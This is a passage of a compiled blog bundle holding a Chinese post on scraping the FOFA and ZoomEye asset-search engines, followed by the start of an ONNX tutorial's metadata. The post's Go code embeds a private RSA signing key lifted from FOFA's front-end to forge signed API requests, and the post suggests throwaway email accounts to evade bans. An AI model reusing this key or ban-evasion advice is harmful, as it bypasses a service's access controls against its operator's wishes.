u66f4\u591a\u5185\u5bb9\uff0c\u7136\u800c\u7531\u4e8e\u8d44\u6e90\u4f1a\u5206\u5e03\u5728\u4e0d\u540c\u57ce\u5e02\uff0c\u90a3\u4e48\u53ef\u4ee5\u5229\u7528\u8fd9\u4e00\u7279\u70b9\uff0c\u53ea\u8981\u83b7\u53d6\u5230\u8fd9\u4e2a\u57ce\u5e02\u5217\u8868\uff0c\u5229\u7528\u94fe\u63a5\u4f9d\u6b21\u722c\u53d6\u5c31\u53ef\u4ee5\u4e86\uff0c\u5982\u4e0b\u56fe\u6240\u793a\u3002"}),"\n",(0,r.jsx)(n.p,{children:(0,r.jsx)(n.img,{alt:"image-20240318224918094",src:t(2560).A+"",width:"640",height:"1018"})}),"\n",(0,r.jsxs)(n.p,{children:["\u4e4b\u524d\u662f\u5229\u7528\u7684",(0,r.jsx)(n.strong,{children:"Selenium"}),"\u6765\u83b7\u53d6\u7684\u9875\u9762\u5185\u5bb9\uff0c\u7136\u800c\u8fd9\u79cd\u901f\u5ea6\u592a\u6162\u4e86\uff0c\u4e8e\u662f\u6211\u5206\u6790\u4e86\u5b83\u7684JS\u53d1\u73b0\uff0c\u4e8e\u662f\u53d1\u73b0\u4e86\u8fd9\u4e2a\u63a5\u53e3",(0,r.jsx)(n.code,{children:"https://api.fofa.info/v1/search/stats"}),"\uff0c\u5982\u4e0b\u56fe"]}),"\n",(0,r.jsx)(n.p,{children:(0,r.jsx)(n.img,{alt:"image-20240318225530820",src:t(76657).A+"",width:"2470",height:"1610"})}),"\n",(0,r.jsx)(n.p,{children:"\u4f46\u662f\u4f60\u53ef\u4ee5\u53d1\u73b0\u5b83\u7684\u53c2\u6570\u8fdb\u884c\u4e86\u6821\u9a8c\u7684\u3002"}),"\n",(0,r.jsx)(n.p,{children:(0,r.jsx)(n.img,{alt:"image-20240318225556649",src:t(77777).A+"",width:"2704",height:"870"})}),"\n",(0,r.jsx)(n.p,{children:"\u5f53\u4f60\u627e\u5bfb\u7740\u4e2a\u6e90\u7801\uff0c\u4f60\u4f1a\u53d1\u73b0\uff0c\u8fd9\u4e2a\u662frsa\u7684\u7b7e\u540d\u8ba4\u8bc1\u3002\u800c\u4e14\u79c1\u94a5\u4e5f\u662f\u5b58\u5728\u7684\uff0c\u6240\u4ee5\u8bf4\u8fd9\u91cc\u770b\u4e00\u4e0b\u4ed6\u662f\u5982\u4f55\u52a0\u5bc6\u7684\u5c31\u53ef\u4ee5\u4e86\u3002"}),"\n",(0,r.jsx)(n.p,{children:(0,r.jsx)(n.img,{alt:"image-20240318230212922",src:t(82949).A+"",width:"1442",height:"664"})}),"\n",(0,r.jsxs)(n.p,{children:["\u6211\u4eec\u8ddf\u8fdb\u8fd9\u4e2a ",(0,r.jsx)(n.code,{children:"i.$sortFun"}),"\u51fd\u6570\u770b\u4e00\u4e0b"]}),"\n",(0,r.jsxs)(n.p,{children:["\u4ed6\u662f\u6309\u7167\u987a\u5e8f\u6392\u5217\u7684\u8fd9\u4e2a",(0,r.jsx)(n.code,{children:"e"})," \uff0c\u7136\u540e",(0,r.jsx)(n.code,{children:'i += "".concat(e).concat(n[e])'}),"\u8fdb\u884c\u62fc\u63a5\uff0c\u6700\u540e\u5f97\u51fa\u7ed3\u679c"]}),"\n",(0,r.jsx)(n.p,{children:(0,r.jsx)(n.img,{alt:"image-20240318230525478",src:t(26216).A+"",width:"1936",height:"840"})}),"\n",(0,r.jsx)(n.p,{children:(0,r.jsx)(n.code,{children:"fullfalseqbase64ImJhaWR1LmNvbSI=ts1710774077895"})}),"\n",(0,r.jsxs)(n.p,{children:["\u8fd9\u4e2a\u7ed3\u679c\u4f60\u4f1a\u53d1\u73b0\uff0c",(0,r.jsx)(n.code,{children:"ts"}),"\u662f\u5f53\u524d\u7684\u65f6\u95f4\u6233\uff0c\u800c\u8fd9\u4e2a",(0,r.jsx)(n.code,{children:"qbase64"}),"\u5c31\u662f\u6211\u4eec\u67e5\u8be2\u7684\u8bed\u53e5\uff0c\u6240\u4ee5\u8bf4\u53ea\u9700\u8981\u5199\u4e00\u4e0b",(0,r.jsx)(n.code,{children:"rsa-sha256"}),"\u52a0\u5bc6\u5c31\u53ef\u4ee5\u4e86"]}),"\n",(0,r.jsxs)(n.p,{children:["\u5982\u4e0b",(0,r.jsx)(n.code,{children:"go"}),"\u8bed\u8a00\u7b80\u5355\u5b9e\u73b0"]}),"\n",(0,r.jsx)(n.pre,{children:(0,r.jsx)(n.code,{className:"language-go",children:'package main\n\nimport (\n\t"crypto"\n\t"crypto/rand"\n\t"crypto/rsa"\n\t"crypto/sha256"\n\t"crypto/x509"\n\t"encoding/base64"\n\t"encoding/json"\n\t"encoding/pem"\n\t"errors"\n\t"fmt"\n\t"github.com/projectdiscovery/retryablehttp-go"\n\t"net/http"\n\t"sort"\n\t"strconv"\n\t"time"\n)\n\nconst (\n\tprivate = "-----BEGIN RSA PRIVATE KEY-----\\r\\nMIIEogIBAAKCAQEAv0xjefuBTF6Ox940ZqLLUFFBDtTcB9dAfDjWgyZ2A55K+VdG\\r\\nc1L5LqJWuyRkhYGFTlI4K5hRiExvjXuwIEed1norp5cKdeTLJwmvPyFgaEh7Ow19\\r\\nTu9sTR5hHxThjT8ieArB2kNAdp8Xoo7O8KihmBmtbJ1umRv2XxG+mm2ByPZFlTdW\\r\\nRFU38oCPkGKlrl/RzOJKRYMv10s1MWBPY6oYkRiOX/EsAUVae6zKRqNR2Q4HzJV8\\r\\ngOYMPvqkau8hwN8i6r0z0jkDGCRJSW9djWk3Byi3R2oSdZ0IoS+91MFtKvWYdnNH\\r\\n2Ubhlnu1P+wbeuIFdp2u7ZQOtgPX0mtQ263e5QIDAQABAoIBAD67GwfeTMkxXNr3\\r\\n5/EcQ1XEP3RQoxLDKHdT4CxDyYFoQCfB0e1xcRs0ywI1be1FyuQjHB5Xpazve8lG\\r\\nnTwIoB68E2KyqhB9BY14pIosNMQduKNlygi/hKFJbAnYPBqocHIy/NzJHvOHOiXp\\r\\ndL0AX3VUPkWW3rTAsar9U6aqcFvorMJQ2NPjijcXA0p1MlZAZKODO2wqidfQ487h\\r\\nxy0ZkriYVi419j83a1cCK0QocXiUUeQM6zRNgQv7LCmrFo2X4JEzlujEveqvsDC4\\r\\nMBRgkK2lNH+AFuRwOEr4PIlk9rrpHA4O1V13P3hJpH5gxs5oLLM1CWWG9YWLL44G\\r\\nzD9Tm8ECgYEA8NStMXyAmHLYmd2h0u5jpNGbegf96z9s/RnCVbNHmIqh/pbXizcv\\r\\nmMeLR7a0BLs9eiCpjNf9hob/JCJTms6SmqJ5NyRMJtZghF6YJuCSO1MTxkI/6RUw\\r\\nmrygQTiF8RyVUlEoNJyhZCVWqCYjctAisEDaBRnUTpNn0mLvEXgf1pUCgYEAy1kE\\r\\nd0YqGh/z4c/D09crQMrR/lvTOD+LRMf9lH+SkScT0GzdNIT5yuscRwKsnE6SpC5G\\r\\nySJFVhCnCBsQqq+ohsrXt8a99G7ePTMSAGK3QtC7QS3liDmvPBk6mJiLrKiRAZos\\r\\nvgPg7nTP8VuF0ZIKzkdWbGoMyNxVFZXovQ8BYxECgYBvCR9xGX4Qy6KiDlV18wNu\\r\\nElYkxVqFBBE0AJRg/u+bnQ9jWhi2zxLa1eWZgtss80c876I8lbkGNWedOVZioatm\\r\\nMFLC4bFalqyZWyO7iP7i60LKvfDJfkOSlDUu3OikahFOiqyG1VBz4+M4U500alIU\\r\\nAVKD14zTTZMopQSkgUXsoQKBgHd8RgiD3Qde0SJVv97BZzP6OWw5rqI1jHMNBK72\\r\\nSzwpdxYYcd6DaHfYsNP0+VIbRUVdv9A95/oLbOpxZNi2wNL7a8gb6tAvOT1Cvggl\\r\\n+UM0fWNuQZpLMvGgbXLu59u7bQFBA5tfkhLr5qgOvFIJe3n8JwcrRXndJc26OXil\\r\\n0Y3RAoGAJOqYN2CD4vOs6CHdnQvyn7ICc41ila/H49fjsiJ70RUD1aD8nYuosOnj\\r\\nwbG6+eWekyLZ1RVEw3eRF+aMOEFNaK6xKjXGMhuWj3A9xVw9Fauv8a2KBU42Vmcd\\r\\nt4HRyaBPCQQsIoErdChZj8g7DdxWheuiKoN4gbfK4W1APCcuhUA=\\r\\n-----END RSA PRIVATE KEY-----"\n\tappId = "9e9fb94330d97833acfbc041ee1a76793f1bc691"\n\tstats = "https://api.fofa.info/v1/search/stats?qbase64=%s&full=%v&fields=%s&ts=%v&sign=%s&app_id=%s"\n\tURL = "https://fofa.info/result?qbase64=%s&page=%d&page_size=%d"\n)\n\ntype fofaRequest struct {\n\tQuery string `json:"query"`\n\tPage int `json:"page"`\n\tPageNum int `json:"page_num"`\n}\n\nvar rsaPrivateKey *rsa.PrivateKey\n\nfunc init() {\n\trsaPrivateKey, _ = parsePKCS1PemByPrivateKey([]byte(private))\n}\n\ntype foFaStatsResponse struct {\n\tCode int `json:"code,omitempty"`\n\tMessage string `json:"message,omitempty"`\n\tData interface{} `json:"data,omitempty"`\n}\n\ntype data struct {\n\tSize int `json:"size"`\n\tPage int `json:"page"`\n\tCountries []country `json:"countries"`\n}\n\ntype country struct {\n\tCode string `json:"code"`\n\tName string `json:"name"`\n\tCount int `json:"count"`\n\tRegions []region `json:"regions"`\n}\ntype region struct {\n\tCode string `json:"code"`\n\tCount int `json:"count"`\n\tName string `json:"name"`\n}\n\nfunc serialize(h map[string]any) string {\n\tvar keys []string\n\tfor k, _ := range h {\n\t\tkeys = append(keys, k)\n\t}\n\tsort.Strings(keys)\n\ts := ""\n\tfor _, k := range keys {\n\t\tswitch h[k].(type) {\n\t\tcase string:\n\t\t\tif h[k] == "" {\n\t\t\t\tcontinue\n\t\t\t}\n\t\t}\n\t\ts += fmt.Sprintf("%s%v", k, h[k])\n\t}\n\treturn s\n}\n\nfunc hashWithSha256(b []byte) (hashed []byte) {\n\tmyHash := sha256.New()\n\tmyHash.Write(b)\n\treturn myHash.Sum(nil)\n}\nfunc parsePKCS1PemByPrivateKey(b []byte) (*rsa.PrivateKey, error) {\n\tp, _ := pem.Decode(b)\n\tif p == nil {\n\t\treturn nil, errors.New("pem\u683c\u5f0f\u9519\u8bef")\n\t}\n\tprivate, err := x509.ParsePKCS1PrivateKey(p.Bytes)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn private, nil\n}\n\nfunc signQuery(str string) (string, error) {\n\thashed := hashWithSha256([]byte(str))\n\tv15, err := signPKCS1v15(rsaPrivateKey, crypto.SHA256, hashed)\n\tif err != nil {\n\t\treturn "", err\n\t}\n\treturn base64.StdEncoding.EncodeToString(v15), nil\n}\nfunc signPKCS1v15(private *rsa.PrivateKey, hash crypto.Hash, hashed []byte) (sign []byte, err error) {\n\treturn rsa.SignPKCS1v15(rand.Reader, private, hash, hashed)\n}\n\nfunc main() {\n\tfofaResponse := &foFaStatsResponse{}\n\tm := make(map[string]interface{})\n\tts := strconv.FormatInt(time.Now().Unix(), 10)\n\tqbase64 := "baidu.com"\n\tqbase64 = base64.StdEncoding.EncodeToString([]byte(qbase64))\n\tm["qbase64"] = qbase64\n\tm["full"] = false\n\tm["fields"] = ""\n\tm["ts"] = ts\n\tsign, err := signQuery(serialize(m))\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\tSTATS := fmt.Sprintf(stats, qbase64, false, "", ts, sign, appId)\n\trequest, err := retryablehttp.NewRequest(http.MethodGet, STATS, nil)\n\tif err != nil {\n\t\tpanic(err.Error())\n\t}\n\trequest.Header.Set("Referer", "https://fofa.info/")\n\tresp, err := retryablehttp.DefaultHTTPClient.Do(request)\n\tif err != nil {\n\t\tpanic(err.Error())\n\t}\n\tif err := json.NewDecoder(resp.Body).Decode(fofaResponse); err != nil {\n\t\tpanic(err.Error())\n\t}\n\tif fofaResponse.Code == -9 {\n\t\tpanic(fofaResponse)\n\t}\n\tswitch fofaResponse.Data.(type) {\n\tcase string:\n\t\tpanic(fofaResponse.Message)\n\tdefault:\n\n\t\tif temp, ok := fofaResponse.Data.(map[string]interface{}); !ok {\n\t\t\tfmt.Println(fofaResponse.Data)\n\t\t\tpanic(errors.New("\u9519\u8bef\u7684\u5bf9\u8c61"))\n\t\t} else {\n\t\t\tfmt.Println(temp)\n\t\t}\n\t}\n\n}\n\n'})}),"\n",(0,r.jsx)(n.p,{children:(0,r.jsx)(n.img,{alt:"image-20240318233451482",src:t(27640).A+"",width:"1828",height:"532"})}),"\n",(0,r.jsxs)(n.p,{children:["\u6700\u540e\u7b80\u5355\u6574\u5408\u5230\u5de5\u5177\u91cc\uff0c\u5c31\u53ef\u4ee5\u4e00\u952e\u4f7f\u7528\u4e86\uff0c\u76ee\u524d\u5df2\u7ecf\u5b9e\u73b0\u4e86\uff0c\u5728\u6211\u7684",(0,r.jsx)(n.a,{href:"https://github.com/wjlin0/pathScan",children:"pathScan"}),"\u6216",(0,r.jsx)(n.a,{href:"https://github.com/wjlin0/uncover",children:"uncover"})," \u91cc\u9762\u7684",(0,r.jsx)(n.code,{children:"fofa-spider"})]}),"\n",(0,r.jsx)(n.p,{children:"\u4f7f\u7528\u4e5f\u5f88\u7b80\u5355"}),"\n",(0,r.jsx)(n.pre,{children:(0,r.jsx)(n.code,{className:"language-sh",children:'uncover -fofa-spider domain="baidu.com"\n\u6216\u8005\npathScan -uq \'domain="baidu.com"\' -ue fofa-spider -silent\n'})}),"\n",(0,r.jsx)(n.p,{children:(0,r.jsx)(n.img,{alt:"image-20240319002657624",src:t(47610).A+"",width:"1482",height:"480"})}),"\n",(0,r.jsx)(n.p,{children:(0,r.jsx)(n.img,{alt:"image-20240319003509717",src:t(65187).A+"",width:"1936",height:"394"})}),"\n",(0,r.jsxs)(n.p,{children:["\u5f53\u7136\u5177\u4f53\u7528\u6cd5\u53ef\u4ee5\u53c2\u8003",(0,r.jsx)(n.code,{children:"pathScan"}),"\u4e2d\u7684\u53c2\u8003\u547d\u4ee4"]}),"\n",(0,r.jsx)(n.h2,{id:"cookie\u7684\u5b9e\u73b0",children:"Cookie\u7684\u5b9e\u73b0"}),"\n",(0,r.jsxs)(n.p,{children:["\u7531\u4e8e\u4e0d\u52a0",(0,r.jsx)(n.code,{children:"cookie"}),"\u7684\u6bcf\u4e2a\u56fd\u5bb6\u53ea\u80fd\u8bbf\u95ee\u4e00\u9875\u7684\u8d44\u6e90\u6240\u4ee5\u5c31\u5f88\u96be\u53d7\uff0c\u7279\u5730\u52a0\u4e86\u73af\u5883\u53d8\u91cf",(0,r.jsx)(n.code,{children:"FOFA_COOKIE"}),"\uff0c\u6765\u83b7\u53d6\u8eab\u4efd\uff0c\u6240\u4ee5\u53ea\u9700\u8981\u628a\u767b\u9646\u540e\u7684cookie\u590d\u5236\u51fa\u6765\uff0c\u5229\u7528\u73af\u5883\u53d8\u91cf \u5728\u8fd0\u884c",(0,r.jsx)(n.code,{children:"pathScan"}),"\u6216",(0,r.jsx)(n.code,{children:"uncover"}),"\u524d\uff0c\u5c31\u53ef\u4ee5\u6bcf\u4e2a\u57ce\u5e02\u8bfb5\u9875\u751a\u81f3\u66f4\u591a\uff0c\u5982\u4e0b\u4ee3\u7801"]}),"\n",(0,r.jsx)(n.pre,{children:(0,r.jsx)(n.code,{className:"language-sh",children:'export FOFA_COOKIE="your cookies" uncover -fofa-spider domain="baidu.com" \n\u6216\u8005\nexport FOFA_COOKIE="your cookies" pathScan -uq \'domain="baidu.com"\' -ue fofa-spider -silent\n'})}),"\n",(0,r.jsx)(n.p,{children:(0,r.jsx)(n.strong,{children:"\u26a0\ufe0f\u4f46\u8981\u6ce8\u610f\u7684\u662f\uff0c\u52a0\u4e86cookie\u540e \u7528\u7684\u6b21\u6570\u8fc7\u591a\u4f1a\u5b58\u5728\u5c01\u53f7\u7684\u53ef\u80fd\uff0c\u6240\u4ee5\u6bcf\u6b21\u8fd0\u884c\u53ef\u4ee5\u901a\u8fc7\u4e34\u65f6\u90ae\u7bb1\u5efa\u7acb\u4e00\u4e2a\u8d26\u6237\uff0c\u518d\u628acookie\u52a0\u8fdb\u53bb\uff0c\u5c31\u6ca1\u4e8b\u4e86"})}),"\n",(0,r.jsx)(n.h2,{id:"\u63d0\u95ee",children:"\u63d0\u95ee"}),"\n",(0,r.jsxs)(n.p,{children:["\u5982\u679c\u5bf9\u8fd9\u4e2a\u722c\u866b\u7684api\u8c03\u7528\u6709\u95ee\u9898\uff0c\u6b22\u8fce\u90ae\u4ef6\u63d0\u95ee ",(0,r.jsx)(n.code,{children:"support@wjlin0.com"}),"\u6216\u8005",(0,r.jsx)(n.code,{children:"support2@wjlin0.com"})," \u6211\u4f1a\u7b2c\u4e00\u65f6\u95f4\u56de\u590d\u7684"]}),"\n",(0,r.jsx)(n.h1,{id:"zoomeye\u722c\u866b\u7684\u7814\u7a76",children:"Zoomeye\u722c\u866b\u7684\u7814\u7a76"}),"\n",(0,r.jsx)(n.h2,{id:"\u524d\u6cbf-1",children:"\u524d\u6cbf"}),"\n",(0,r.jsxs)(n.p,{children:["\u5bf9fofa\u722c\u866b\u5b9e\u73b0\u540e\uff0c\u6211\u7279\u5730\u53bb\u770b\u4e86\u4e00\u4e0b",(0,r.jsx)(n.code,{children:"zoomeye"}),"\u7684\uff0c\u53d1\u73b0\u4ed6\u6ca1\u6709\u8fd9\u4e2aapi\u7684\u7b7e\u540d\u6821\u9a8c\uff0c\u5e76\u4e14\u5b83\u7684\u6570\u636e\u83b7\u53d6\u5b8c\u5168\u53ef\u4ee5\u901a\u8fc7\u8c03\u7528api\u6765\u5b9e\u73b0\u3002"]}),"\n",(0,r.jsxs)(n.p,{children:["\u5982\u4e0b\u56fe\u6240\u793a\uff0c\u8fd9\u91cc\u53ef\u4ee5\u901a\u8fc7\u8c03\u7528",(0,r.jsx)(n.code,{children:"/api/search"}),"\u6765\u83b7\u53d6\u7ed3\u679c"]}),"\n",(0,r.jsx)(n.p,{children:(0,r.jsx)(n.img,{alt:"image-20240319173639944",src:t(35020).A+"",width:"2672",height:"1330"})}),"\n",(0,r.jsx)(n.h2,{id:"\u5206\u6790-1",children:"\u5206\u6790"}),"\n",(0,r.jsx)(n.p,{children:"\u8fd8\u662f\u4e0efofa\u7684\u601d\u60f3\u4e00\u6837 \u83b7\u53d6\u57ce\u5e02\u4fe1\u606f\u518d\u9010\u4e00\u722c\u53d6\uff0c\u5e76\u4e14\u6211\u53d1\u73b0\uff0czoomeye\u8fd8\u7cbe\u7ec6\u4e86\u7701\u7ea7\u548c\u5e02\u7ea7\u884c\u653f\u5212\u5206\u3002"}),"\n",(0,r.jsx)(n.p,{children:(0,r.jsx)(n.img,{alt:"image-20240319173751654",src:t(36766).A+"",width:"2470",height:"1410"})}),"\n",(0,r.jsx)(n.p,{children:"\u8fd9\u6837\u4e0efofa\u76f8\u6bd4\u4ee3\u7801\u5c31\u66f4\u52a0\u7b80\u5355\u4e86\uff0c\u4f46\u662f\u6211\u5728\u722c\u53d6\u7684\u8fc7\u7a0b\u4e2d\uff0c\u53d1\u73b0\u6709\u521b\u5b87\u76fe\u7684\u62e6\u622a\uff0c\u4f1a\u9650\u5236\u8bf7\u6c42\u901f\u7387\uff0c\u8fd9\u6ca1\u529e\u6cd5\u4e86\u53ea\u80fd\u63a7\u5236\u8bf7\u6c42\u901f\u5ea6\u4e86\u3002"}),"\n",(0,r.jsx)(n.p,{children:(0,r.jsx)(n.img,{alt:"image-20240319193547615",src:t(55079).A+"",width:"2074",height:"1436"})}),"\n",(0,r.jsx)(n.h2,{id:"cookie\u7684\u5b9e\u73b0-1",children:"Cookie\u7684\u5b9e\u73b0"}),"\n",(0,r.jsx)(n.p,{children:"\u4e0efofa\u7684\u5b9e\u73b0\u7c7b\u4f3c\uff0c\u9700\u8981\u767b\u9646\u540e\uff0c\u5c06cookie\u8bbe\u7f6e\u73af\u5883\u53d8\u91cf"}),"\n",(0,r.jsx)(n.p,{children:"\u26a0\ufe0f \u8fd9\u6837\u53ef\u80fd\u5bfc\u81f4\u5c01\u53f7\u7684\u5904\u7406\uff0c\u8bf7\u8c28\u614e\u4f7f\u7528"}),"\n",(0,r.jsx)(n.pre,{children:(0,r.jsx)(n.code,{className:"language-sh",children:'export ZOOMEYE_COOKIE="your cookies" uncover -zoomeye-spider baidu.com\n\u6216\u8005\nexport ZOOMEYE_COOKIE="your cookies" pathScan -ue zoomeye-spider -uq baidu.com -silent\n'})}),"\n",(0,r.jsx)(n.h1,{id:"\u5de5\u5177\u9879\u76ee\u5730\u5740",children:"\u5de5\u5177\u9879\u76ee\u5730\u5740"}),"\n",(0,r.jsxs)(n.ul,{children:["\n",(0,r.jsx)(n.li,{children:(0,r.jsx)(n.a,{href:"https://github.com/wjlin0/pathScan/",children:"pathScan"})}),"\n",(0,r.jsx)(n.li,{children:(0,r.jsx)(n.a,{href:"https://github.com/wjlin0/uncover",children:"uncover"})}),"\n"]})]})}function l(e={}){const{wrapper:n}={...(0,i.R)(),...e.components};return n?(0,r.jsx)(n,{...e,children:(0,r.jsx)(h,{...e})}):h(e)}},28453:(e,n,t)=>{t.d(n,{R:()=>a,x:()=>o});var s=t(96540);const r={},i=s.createContext(r);function a(e){const n=s.useContext(i);return s.useMemo(function(){return"function"==typeof e?e(n):{...n,...e}},[n,e])}function o(e){let n;return n=e.disableParentContext?"function"==typeof e.components?e.components(r):e.components||r:a(e.components),s.createElement(i.Provider,{value:n},e.children)}},35020:(e,n,t)=>{t.d(n,{A:()=>s});const s=t.p+"assets/images/202403192205114-0f3b6ab94429959c10f0fb54bd29b887.png"},36766:(e,n,t)=>{t.d(n,{A:()=>s});const s=t.p+"assets/images/202403192205116-637ad2d0c24c819e3475704613d6c08f.png"},47610:(e,n,t)=>{t.d(n,{A:()=>s});const s=t.p+"assets/images/202403192205112-dd008b103944db149227f73266daa513.png"},55079:(e,n,t)=>{t.d(n,{A:()=>s});const s=t.p+"assets/images/202403192205117-99ae4163c5e136f4c521810ae9c9335f.png"},65187:(e,n,t)=>{t.d(n,{A:()=>s});const s=t.p+"assets/images/202403192205113-c02ad2dcfdece0a929c81f63e0a56f38.png"},76657:(e,n,t)=>{t.d(n,{A:()=>s});const s=t.p+"assets/images/202403182338872-1e44b57182fc5142b8d25abba83ce795.png"},77777:(e,n,t)=>{t.d(n,{A:()=>s});const s=t.p+"assets/images/202403192205111-4a87ad8cf4c7c9bb221a2d25c0fe9fef.png"},82949:(e,n,t)=>{t.d(n,{A:()=>s});const s=t.p+"assets/images/202403182338102-f0b786e6e9b8323ececb24101cb8dbbb.png"}}]); \ No newline at end of file diff --git a/assets/js/9d9fd274.bcc95da6.js b/assets/js/9d9fd274.bcc95da6.js new file mode 100644 index 0000000..1787413 --- /dev/null +++ b/assets/js/9d9fd274.bcc95da6.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[7462],{18513:(n,e,t)=>{t.r(e),t.d(e,{assets:()=>c,contentTitle:()=>l,default:()=>h,frontMatter:()=>s,metadata:()=>i,toc:()=>d});const i=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e5d\u7ae0/9.1 \u4f7f\u7528ONNX\u8fdb\u884c\u90e8\u7f72\u5e76\u63a8\u7406","title":"9.1 \u4f7f\u7528ONNX\u8fdb\u884c\u90e8\u7f72\u5e76\u63a8\u7406.md","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/09.\u7b2c\u4e5d\u7ae0/9.1 \u4f7f\u7528ONNX\u8fdb\u884c\u90e8\u7f72\u5e76\u63a8\u7406.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/09.\u7b2c\u4e5d\u7ae0","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e5d\u7ae0/9.1 \u4f7f\u7528ONNX\u8fdb\u884c\u90e8\u7f72\u5e76\u63a8\u7406","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e5d\u7ae0/9.1 \u4f7f\u7528ONNX\u8fdb\u884c\u90e8\u7f72\u5e76\u63a8\u7406","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/09.\u7b2c\u4e5d\u7ae0/9.1 \u4f7f\u7528ONNX\u8fdb\u884c\u90e8\u7f72\u5e76\u63a8\u7406.md","tags":[],"version":"current","frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"\u7b2c\u4e5d\u7ae0","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e5d\u7ae0/"},"next":{"title":"\u7b2c\u5341\u7ae0","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u5341\u7ae0/"}}');var o=t(74848),r=t(28453);const s={},l="9.1 \u4f7f\u7528ONNX\u8fdb\u884c\u90e8\u7f72\u5e76\u63a8\u7406.md",c={},d=[{value:"9.1.1 ONNX\u548cONNX Runtime\u7b80\u4ecb",id:"911-onnx\u548connx-runtime\u7b80\u4ecb",level:2},{value:"9.1.1.1 ONNX\u7b80\u4ecb",id:"9111-onnx\u7b80\u4ecb",level:3},{value:"9.1.1.2 ONNX Runtime\u7b80\u4ecb",id:"9112-onnx-runtime\u7b80\u4ecb",level:3},{value:"9.1.1.3 ONNX\u548cONNX Runtime\u7684\u5b89\u88c5",id:"9113-onnx\u548connx-runtime\u7684\u5b89\u88c5",level:3},{value:"9.1.2 \u6a21\u578b\u5bfc\u51fa\u4e3aONNX",id:"912-\u6a21\u578b\u5bfc\u51fa\u4e3aonnx",level:2},{value:"9.1.2.1 \u6a21\u578b\u8f6c\u6362\u4e3aONNX\u683c\u5f0f",id:"9121-\u6a21\u578b\u8f6c\u6362\u4e3aonnx\u683c\u5f0f",level:3},{value:"9.1.2.2 ONNX\u6a21\u578b\u7684\u68c0\u9a8c",id:"9122-onnx\u6a21\u578b\u7684\u68c0\u9a8c",level:3},{value:"9.1.2.3 ONNX\u53ef\u89c6\u5316",id:"9123-onnx\u53ef\u89c6\u5316",level:3},{value:"9.1.3 \u4f7f\u7528ONNX Runtime\u8fdb\u884c\u63a8\u7406",id:"913-\u4f7f\u7528onnx-runtime\u8fdb\u884c\u63a8\u7406",level:2},{value:"9.1.4 \u4ee3\u7801\u5b9e\u6218",id:"914-\u4ee3\u7801\u5b9e\u6218",level:2},{value:"1. \u5b9a\u4e49\u8d85\u5206\u8fa8\u6a21\u578b",id:"1-\u5b9a\u4e49\u8d85\u5206\u8fa8\u6a21\u578b",level:3},{value:"2. \u6a21\u578b\u5bfc\u51fa\u4e3aONNX\u683c\u5f0f",id:"2-\u6a21\u578b\u5bfc\u51fa\u4e3aonnx\u683c\u5f0f",level:3},{value:"3. \u68c0\u9a8cONNX\u6a21\u578b",id:"3-\u68c0\u9a8connx\u6a21\u578b",level:3},{value:"4. \u4f7f\u7528ONNX Runtime\u8fdb\u884c\u63a8\u7406",id:"4-\u4f7f\u7528onnx-runtime\u8fdb\u884c\u63a8\u7406",level:3},{value:"5. \u8fdb\u884c\u5b9e\u9645\u9884\u6d4b\u5e76\u53ef\u89c6\u5316",id:"5-\u8fdb\u884c\u5b9e\u9645\u9884\u6d4b\u5e76\u53ef\u89c6\u5316",level:3},{value:"\u53c2\u8003\u8d44\u6599",id:"\u53c2\u8003\u8d44\u6599",level:2}];function a(n){const e={a:"a",code:"code",em:"em",h1:"h1",h2:"h2",h3:"h3",header:"header",img:"img",li:"li",ol:"ol",p:"p",pre:"pre",strong:"strong",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",ul:"ul",...(0,r.R)(),...n.components};return(0,o.jsxs)(o.Fragment,{children:[(0,o.jsx)(e.header,{children:(0,o.jsx)(e.h1,{id:"91-\u4f7f\u7528onnx\u8fdb\u884c\u90e8\u7f72\u5e76\u63a8\u7406md",children:"9.1 \u4f7f\u7528ONNX\u8fdb\u884c\u90e8\u7f72\u5e76\u63a8\u7406.md"})}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,o.jsxs)(e.table,{children:[(0,o.jsx)(e.thead,{children:(0,o.jsxs)(e.tr,{children:[(0,o.jsx)(e.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,o.jsx)(e.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,o.jsx)(e.tbody,{children:(0,o.jsxs)(e.tr,{children:[(0,o.jsx)(e.td,{style:{textAlign:"left"},children:(0,o.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,o.jsx)(e.td,{style:{textAlign:"left"},children:"2026-06-07 